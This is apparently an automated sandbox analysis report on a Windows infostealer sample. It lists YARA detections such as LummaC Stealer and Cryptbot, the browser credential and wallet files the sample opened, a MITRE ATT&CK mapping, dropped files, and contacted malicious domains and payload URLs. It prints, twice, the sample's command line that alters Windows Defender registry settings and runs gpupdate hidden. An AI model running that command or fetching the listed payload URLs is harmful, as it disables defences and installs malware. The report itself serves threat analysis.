Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Code function: 11_2_0042E0AC AllocateAndInitializeSid,GetVersion,GetModuleHandleA,GetProcAddress,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,

11_2_0042E0AC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0053EF8E cpuid

3_2_0053EF8E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	3_2_005611F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_005613F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_005614EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_005614A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00561586
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00561611
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_0055B6A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	3_2_005407DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00561864
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0056198D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00561A93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_0055BB74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00561B69
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: GetLocaleInfoA,	7_2_004051FC
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: GetLocaleInfoA,	7_2_00405248
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,	9_2_004210E8
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_0042120E
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	9_2_00420A82
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,	9_2_00421314
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: EnumSystemLocalesW,	9_2_0041931F
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_004213E3
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: EnumSystemLocalesW,	9_2_00420D6F
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: EnumSystemLocalesW,	9_2_00420D24
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: EnumSystemLocalesW,	9_2_00420E0A
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_00420E95
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,	9_2_004197E4
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,	9_2_020D9A4B
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,	9_2_020E134F
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: EnumSystemLocalesW,	9_2_020E1071
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_020E10FC
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_020E164A
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: EnumSystemLocalesW,	9_2_020E0F8B
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: EnumSystemLocalesW,	9_2_020E0FD6
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_020E1475
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	9_2_020E0CE9
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: GetLocaleInfoW,	9_2_020E157B
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: EnumSystemLocalesW,	9_2_020D9586
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: GetLocaleInfoA,	11_2_00408570
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: GetLocaleInfoA,	11_2_004085BC

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Code function: 11_2_0045892C GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

11_2_0045892C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0054100D GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

3_2_0054100D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00441F10 GetComputerNameA,__aulldiv,GlobalAlloc,LookupAccountNameA,GetLastError,ConvertSidToStringSidA,GetLastError,

3_2_00441F10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0042DB80 RtlGetVersion,GetVersionExA,

3_2_0042DB80

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.0000000001107000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 00000006.00000003.2335001798.0000000003F8D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: G__XJZ9ACVwRjgVn6BXId6E1.exe PID: 7876, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: G__XJZ9ACVwRjgVn6BXId6E1.exe PID: 7876, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7600, type: MEMORYSTR

Yara detected Socks5Systemz

Source: Yara match	File source: 0000000D.00000002.2682333164.0000000002CA1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2681681292.0000000002BF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: playglock32x64.exe PID: 8056, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: G__XJZ9ACVwRjgVn6BXId6E1.exe	String found in binary or memory: Electrum
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe	String found in binary or memory: \ElectronCash\wallets
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000000.1571265793.00000000013E2000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: \@trezor\Exodus\backupExodus backup\MultiBitHDMultiBit HD\Electrum\wallets\ElectronCash\walletsElectron Cash\Electrum-btcp\walletsElectrum BTCP\walletsUnknown Wallet (Folder - wallets)\Exodus EdenDogecoin
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe	String found in binary or memory: Jaxx Liberty
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe	String found in binary or memory: \Exodus\backup
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe	String found in binary or memory: Exodus\
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe	String found in binary or memory: Ethereum (UTC)

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Source: Yara match

File source: Process Memory Space: G__XJZ9ACVwRjgVn6BXId6E1.exe PID: 7876, type: MEMORYSTR

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: G__XJZ9ACVwRjgVn6BXId6E1.exe PID: 7876, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7600, type: MEMORYSTR

Yara detected Socks5Systemz

Source: Yara match	File source: 0000000D.00000002.2682333164.0000000002CA1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2681681292.0000000002BF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: playglock32x64.exe PID: 8056, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	22 Native API	1 Windows Service	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	112 Command and Scripting Interpreter	11 Scheduled Task/Job	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	1 Windows Service	22 Software Packing	NTDS	66 System Information Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	412 Process Injection	1 Timestomp	LSA Secrets	291 Security Software Discovery	SSH	Keylogging	125 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	1 DLL Side-Loading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	161 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	412 Process Injection	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	ReversingLabs	Win32.Trojan.Jalapeno

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Edrax Smart Maker 9.28.47\Edrax Smart Maker 9.28.47.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	71%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\Channel2[1].exe	24%	ReversingLabs	Win32.Trojan.Dacic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\CheckTool[1].exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\Qt5OpenGL.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\is-5ANFC.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\is-75FQC.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\is-86R9G.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\is-IKU3H.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\is-IVTOI.tmp	5%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\is-O04L0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\libeay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\libssl-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\msvcp71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\msvcr71.dll (copy)	5%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\ssleay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\uninstall\is-R79QI.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\Play Glock\uninstall\unins000.exe (copy)	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Y-Cleaner.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	3%	ReversingLabs
C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	24%	ReversingLabs	Win32.Trojan.Dacic
C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	26%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.certum.pl/CPS0	0%	URL Reputation	safe
http://www.innosetup.com/	0%	URL Reputation	safe
http://crl.certum.pl/ctnca.crl0k	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
analforeverlovyu.top	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://subca.ocsp-certum.com01	0%	URL Reputation	safe
http://www.openssl.org/f	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fivevh5pt.top	84.38.182.221	true	true	unknown
iplog.co	188.114.96.3	true	true	unknown
marafon.in	147.45.60.44	true	false	unknown
ipinfo.io	34.117.59.81	true	false	unknown
cdn.discordapp.com	162.159.130.233	true	false	unknown
ghostreedmnu.shop	188.114.96.3	true	true	unknown
ejrsoyz.ua	185.208.158.248	true	true	unknown
api64.ipify.org	173.231.16.77	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://80.66.75.114/files/download	false		unknown
http://103.130.147.211/Files/Silencer.exe	false		unknown
reinforcenh.shop	true		unknown
stogeneratmns.shop	true		unknown
ejrsoyz.ua8a	true		unknown
ghostreedmnu.shop	true		unknown
http://103.130.147.211/Files/CheckTool.exe	false		unknown
http://ejrsoyz.ua/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c444db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf814c6eb959d3e	true		unknown
http://194.58.114.223/d/385121	false		unknown
http://80.66.75.114/dll/key	false		unknown
01fivevh5pt.top	true		unknown
https://iplog.co/1S3fd7	true		unknown
fragnantbui.shop	true		unknown
offensivedzvju.shop	true		unknown
http://ejrsoyz.ua/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113	true		unknown
drawzhotdog.shop	true		unknown
http://176.113.115.95/thebig/stories.exe	false		unknown
http://80.66.75.114/add?substr=mixnine&s=three&sub=NOSUB	false		unknown
vozmeatillu.shop	true		unknown
analforeverlovyu.top	true	URL Reputation: safe	unknown
https://api64.ipify.org/?format=json	false		unknown
http://80.66.75.114/name	false		unknown
http://103.130.147.211/Files/tac.exe	false		unknown
https://ipinfo.io/widget/demo/8.46.123.33	false		unknown
http://80.66.75.114/dll/download	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	BitLockerToGo.exe, 00000032.00000003.1768734098.000000000270A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000003.1768755104.00000000026B2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
